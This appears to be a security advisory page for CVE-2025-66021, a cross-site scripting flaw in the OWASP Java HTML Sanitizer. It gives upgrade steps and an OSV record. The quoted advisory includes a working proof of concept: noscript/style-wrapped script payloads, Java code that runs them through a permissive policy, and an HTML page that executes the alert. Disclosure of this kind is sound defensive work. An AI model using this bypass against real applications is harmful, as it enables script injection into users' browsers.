CVE-2025-66021: Owasp java html sanitizer Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-g9gq-3pfx-2gw2
CWE-79
Published
Advisory Summary

CVE-2025-66021 is a HIGH cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Owasp java html sanitizer libraries in the Maven ecosystem. The issue involves owasp java html sanitizer is vulnerable to xss via noscript tag and improper style tag sanitization. Remediation is available by upgrading affected packages to version 20260101.1.

CVE-2025-66021 at a Glance

CVE Identifier CVE-2025-66021
GHSA Identifier GHSA-g9gq-3pfx-2gw2
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Owasp java html sanitizer
Package Ecosystem Maven
Published Date
Last Updated

How to Fix CVE-2025-66021

To remediate this vulnerability, upgrade all affected Owasp java html sanitizer dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

com.googlecode.owasp-java-html-sanitizer:owasp-java-html-sanitizer fixed: 20260101.1
<dependency>
    <groupId>com.googlecode.owasp-java-html-sanitizer</groupId>
    <artifactId>owasp-java-html-sanitizer</artifactId>
    <version>20260101.1</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=com.googlecode.owasp-java-html-sanitizer

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2025-66021, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=com.googlecode.owasp-java-html-sanitizer

Analyze the terminal output to locate any version of Owasp java html sanitizer in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 20260101.1), your application is affected.

Note: The mvn dependency:tree -Dincludes=com.googlecode.owasp-java-html-sanitizer command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Owasp java html sanitizer, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary It is observed that OWASP java html sanitizer is vulnerable to XSS if HtmlPolicyBuilder allows `noscript` and `style` tags with `allowTextIn` inside the style tag. This could lead to XSS if the payload is crafted in such a way that it does not sanitise the CSS and allows tags which is not mentioned in HTML policy. ### Details The OWASP java HTML sanitizer is vulnerable to XSS. This only happens when HtmlPolicyBuilder allows `noscript` & `style` tag with `allowTextIn` inside style tags. The following condition is very edge case but if users combine a HtmlPolicyBuilder with any other tags except `noscript` and allow `style` tag with `allowTextIn` inside the style tag then In this case sanitizer would be safe from XSS. This happens because how the browser also perceives `noscript` tags post sanitization. ### PoC 1. Lets create a `HtmlPolicyBuilder` which allows `p, noscript, style` html tags and allows `.allowTextIn("style")`. 2. There are two XSS payloads which very identical and only difference is one has p tag and other has noscript tag. These payload have script tags that could be vulnerable to XSS and should be stripped out after sanitisation. ```HTML 1. <noscript><style></noscript><script>alert(1)</script> 2. <p><style></p><script>alert(1)</script> ``` 3. Run the following piece of code which sanitizes the payload. ```java public class main { private static final String ALLOWED_HTML_TAGS = "p, noscript, style"; /** * Description of vulnerability : * The OWASP Sanitizer sanitize the user inputs w.r.t to defined whitelisted HTML tags. * However, if script tags is not allowed in the HTML element policy yet it can lead to XSS in edge cases. */ public static void main(String[] args) { withAllowedTextAndStyleTag(); } /** * Test case : Vulnerable to XSS */ public static void withAllowedTextAndStyleTag() { HtmlPolicyBuilder htmlPolicyBuilder = new HtmlPolicyBuilder(); PolicyFactory policy = htmlPolicyBuilder .allowElements(ALLOWED_HTML_TAGS.split("\\s*,\\s*")) .allowTextIn("style") .toFactory(); String untrustedHTMLOne = "<noscript><style></noscript><script>alert(1)</script>"; String untrustedHTMLTwo = "<p><style></p><script>alert(1)</script>"; System.out.println("PAYLOAD: " + untrustedHTMLOne +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLOne)); System.out.println("PAYLOAD: " + untrustedHTMLTwo +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLTwo)); } } ``` Use the latest library version ```xml <dependency> <groupId>com.googlecode.owasp-java-html-sanitizer</groupId> <artifactId>owasp-java-html-sanitizer</artifactId> <version>20240325.1</version> </dependency> ``` 4. Output of the POC code should look like this ```HTML PAYLOAD: <noscript><style></noscript><script>alert(1)</script> SANITIZED OUTPUT: <noscript><style></noscript><script>alert(1)</script></style></noscript> PAYLOAD: <p><style></p><script>alert(1)</script> SANITIZED OUTPUT: <p><style></p><script>alert(1)</script></style></p> ``` 5. Lets understand what happened in sanitization process below ```txt --------------------------| --> anything after style tag is cosidered as CSS and not sanitized PAYLOAD: <noscript><style> {</noscript><script>alert(1)</script>} -> CSS -----------------------------------| --> after sanitization, payload in script tag remained same and style and noscript tags is closed. SANITIZED OUTPUT: <noscript><style>{</noscript><script>alert(1)</script>}</style></noscript> -------------------| --> anything after style tag is cosidered as CSS and not sanitized PAYLOAD: <p><style></p>{<script>alert(1)</script>} -> CSS --------------------------- | --> after sanitization payload in script tag remained same and style and p tags is closed. SANITIZED OUTPUT: <p><style>{</p><script>alert(1)</script>}</style></p> ``` 6. Lets create a sample html page and copy both sanitized output which should be generated in step 5 ```HTML <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>POC OF SANITIZER OUTPUT</title> </head> <body> <!--XSS OUTPUT : <noscript><style></noscript><script>alert(1)</script></style></noscript>--> <noscript><style></noscript><script>alert(1)</script></style></noscript> <!-- SAFE OUTPUT --> <p><style></p><script>alert(1)</script></style></p> </body> </html> ``` 7. Open this HTML page in the browser it should pop an alert. ![Alt text](https://github.com/user-attachments/assets/0b96a6c2-818e-4a21-80df-42c4cf26bafd "Leads to XSS") 8. Open inspect element to understand what happened. If users look closely a payload combined with p tag and style tag did not cause XSS and browser percived anything after style tag as CSS. ![SAFE from XSS](https://github.com/user-attachments/assets/b6c657fc-32df-4006-9ee8-ca6598f094ad "Safe from XSS") 9. The payload which combined with noscript tag and style tag did caused XSS. The broswer perceived noscript and which wrapped `style` tag then closed noscript tag and after that script payload is considered as valid HTML tag and it executed in browser and this leads to XSS because this is very different then what happened in the last example with p tag. ![XSS POC](https://github.com/user-attachments/assets/abfe0112-c63e-4149-a343-509b25db1b60 "Leads to XSS") ### Impact 1. This potentially could leads to XSS in applications. Ref : https://owasp.org/www-community/attacks/xss/

CVE-2025-66021 Affected Owasp java html sanitizer Versions

1 component(s)
Fixed Versions:
20260101.1
Product / Package Ecosystem Affected Versions Fixed Version
com.googlecode.owasp-java-html-sanitizer:owasp-java-html-sanitizer
Maven
≥ 20240325.1
< 20260101.1
All 1 versions
20240325.1
20260101.1

References

Frequently Asked Questions

What is CVE-2025-66021?
CVE-2025-66021 is a security vulnerability in Owasp java html sanitizer involving OWASP Java HTML Sanitizer is vulnerable to XSS via noscript tag and improper style tag sanitization under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Owasp java html sanitizer versions are affected?
Affected versions include releases prior to 20260101.1 across affected packages: com.googlecode.owasp-java-html-sanitizer:owasp-java-html-sanitizer.
What version fixes CVE-2025-66021?
Upgrading to 20260101.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is owasp-java-html-sanitizer affected?
Yes, com.googlecode.owasp-java-html-sanitizer:owasp-java-html-sanitizer is affected in releases prior to 20260101.1. Upgrade your dependency to 20260101.1 or later.
What CWE is associated with CVE-2025-66021?
CVE-2025-66021 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Maven dependencies for CVE-2025-66021?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=com.googlecode.owasp-java-html-sanitizer'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g9gq-3pfx-2gw2",
  "modified" : "2026-01-06T15:26:23Z",
  "published" : "2025-11-25T22:10:17Z",
  "aliases" : [ "CVE-2025-66021" ],
  "summary" : "OWASP Java HTML Sanitizer is vulnerable to XSS via noscript tag and improper style tag sanitization ",
  "details" : "### Summary\nIt is observed that OWASP java html sanitizer is vulnerable to XSS if HtmlPolicyBuilder allows `noscript` and `style` tags with `allowTextIn` inside the style tag. This could lead to XSS if the payload is crafted in such a way that it does not sanitise the CSS and allows tags which is not mentioned in HTML policy. \n\n### Details\n\nThe OWASP java HTML sanitizer is vulnerable to XSS. This only happens when HtmlPolicyBuilder allows `noscript` & `style` tag with `allowTextIn` inside style tags.\n\nThe following condition is very edge case but if users combine a HtmlPolicyBuilder with any other tags except `noscript` and allow `style` tag with `allowTextIn` inside the style tag then In this case sanitizer would be safe from XSS. This happens because how the browser also perceives `noscript` tags post sanitization. \n\n### PoC\n\n1.  Lets create a `HtmlPolicyBuilder` which allows `p, noscript, style` html tags and allows `.allowTextIn(\"style\")`.\n2.  There are two XSS payloads which very identical and only difference is one has p tag and other has noscript tag.\nThese payload have script tags that could be vulnerable to XSS and should be stripped out after sanitisation.\n\n```HTML\n1. <noscript><style></noscript><script>alert(1)</script>\n2. <p><style></p><script>alert(1)</script>\n```\n\n3. Run the following piece of code which sanitizes the payload. \n\n```java\npublic class main {\n\tprivate static final String ALLOWED_HTML_TAGS = \"p, noscript, style\";\n\n\t/**\n\t * Description of vulnerability :\n\t *  The OWASP Sanitizer sanitize the user inputs w.r.t to defined whitelisted HTML tags.\n\t *  However, if script tags is not allowed in the HTML element policy yet it can lead to XSS in edge cases.\n\t */\n\n\tpublic static void main(String[] args) {\n\t\twithAllowedTextAndStyleTag();\n\t}\n\n\t/**\n\t *  Test case : Vulnerable to XSS\n\t */\n\tpublic static void withAllowedTextAndStyleTag() {\n\t\tHtmlPolicyBuilder htmlPolicyBuilder = new HtmlPolicyBuilder();\n\t\tPolicyFactory policy = htmlPolicyBuilder\n\t\t\t\t.allowElements(ALLOWED_HTML_TAGS.split(\"\\\\s*,\\\\s*\"))\n\t\t\t\t.allowTextIn(\"style\")\n\t\t\t\t.toFactory();\n\t\tString untrustedHTMLOne = \"<noscript><style></noscript><script>alert(1)</script>\";\n\t\tString untrustedHTMLTwo = \"<p><style></p><script>alert(1)</script>\";\n\n\t\tSystem.out.println(\"PAYLOAD: \" + untrustedHTMLOne +\"\\nSANITIZED OUTPUT: \" + policy.sanitize(untrustedHTMLOne));\n\t\tSystem.out.println(\"PAYLOAD: \" + untrustedHTMLTwo +\"\\nSANITIZED OUTPUT: \" + policy.sanitize(untrustedHTMLTwo));\n\t}\n}\n```\n\nUse the latest library version \n\n```xml\n\t\t<dependency>\n\t\t\t<groupId>com.googlecode.owasp-java-html-sanitizer</groupId>\n\t\t\t<artifactId>owasp-java-html-sanitizer</artifactId>\n\t\t\t<version>20240325.1</version>\n\t\t</dependency>\n```\n\n4. Output of the POC code should look like this \n\n```HTML\n\nPAYLOAD: <noscript><style></noscript><script>alert(1)</script>\nSANITIZED OUTPUT: <noscript><style></noscript><script>alert(1)</script></style></noscript>\n\n\nPAYLOAD: <p><style></p><script>alert(1)</script>\nSANITIZED OUTPUT: <p><style></p><script>alert(1)</script></style></p>\n\n```\n\n5. Lets understand what happened in sanitization process below \n\n```txt\n--------------------------| --> anything after style tag is cosidered as CSS and not sanitized \nPAYLOAD: <noscript><style> {</noscript><script>alert(1)</script>} -> CSS\n\n-----------------------------------| --> after sanitization, payload in script tag remained same and style and noscript tags is closed. \nSANITIZED OUTPUT: <noscript><style>{</noscript><script>alert(1)</script>}</style></noscript>\n\n-------------------| --> anything after style tag is cosidered as CSS and not sanitized \nPAYLOAD: <p><style></p>{<script>alert(1)</script>} -> CSS\n\n--------------------------- | --> after sanitization payload in script tag remained same and style and p tags is closed. \nSANITIZED OUTPUT: <p><style>{</p><script>alert(1)</script>}</style></p>\n\n```\n\n6. Lets create a sample html page and copy both sanitized output which should be generated in step 5 \n\n```HTML\n\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <title>POC OF SANITIZER OUTPUT</title>\n</head>\n<body>\n\n<!--XSS OUTPUT : <noscript><style></noscript><script>alert(1)</script></style></noscript>-->\n<noscript><style></noscript><script>alert(1)</script></style></noscript>\n\n<!-- SAFE OUTPUT -->\n<p><style></p><script>alert(1)</script></style></p>\n\n</body>\n</html>\n```\n\n\n\n7. Open this HTML page in the browser it should pop an alert.\n\n![Alt text](https://github.com/user-attachments/assets/0b96a6c2-818e-4a21-80df-42c4cf26bafd \"Leads to XSS\")\n\n8. Open inspect element to understand what happened. If users look closely a payload combined with p tag and style tag did not cause XSS and browser percived anything after style tag as CSS. \n\n![SAFE from XSS](https://github.com/user-attachments/assets/b6c657fc-32df-4006-9ee8-ca6598f094ad \"Safe from XSS\")\n\n9. The payload which combined with noscript tag and style tag did caused XSS.\nThe broswer perceived noscript and which wrapped `style` tag then closed noscript tag and after that script payload is considered as valid HTML tag and it executed in browser and this leads to XSS because this is very different then what happened in the last example with p tag.\n\n![XSS POC](https://github.com/user-attachments/assets/abfe0112-c63e-4149-a343-509b25db1b60 \"Leads to XSS\")\n\n\n### Impact\n1. This potentially could leads to XSS in applications. \nRef : https://owasp.org/www-community/attacks/xss/",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "com.googlecode.owasp-java-html-sanitizer:owasp-java-html-sanitizer"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "20240325.1"
      }, {
        "fixed" : "20260101.1"
      } ]
    } ],
    "versions" : [ "20240325.1" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/OWASP/java-html-sanitizer/security/advisories/GHSA-g9gq-3pfx-2gw2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-66021"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OWASP/java-html-sanitizer/issues/363"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OWASP/java-html-sanitizer/commit/4149cf02ba84db13e8e9d7ee1b01b3f47238e072"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OWASP/java-html-sanitizer/commit/b98cdf1cd5e156a6259b01aa8cdc7372c6efde1e"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OWASP/java-html-sanitizer/commit/d6e0463ed3b48777ecd187913ffdbe767508ff45"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/OWASP/java-html-sanitizer"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-11-25T22:10:17Z",
    "nvd_published_at" : "2025-11-26T02:15:49Z"
  }
}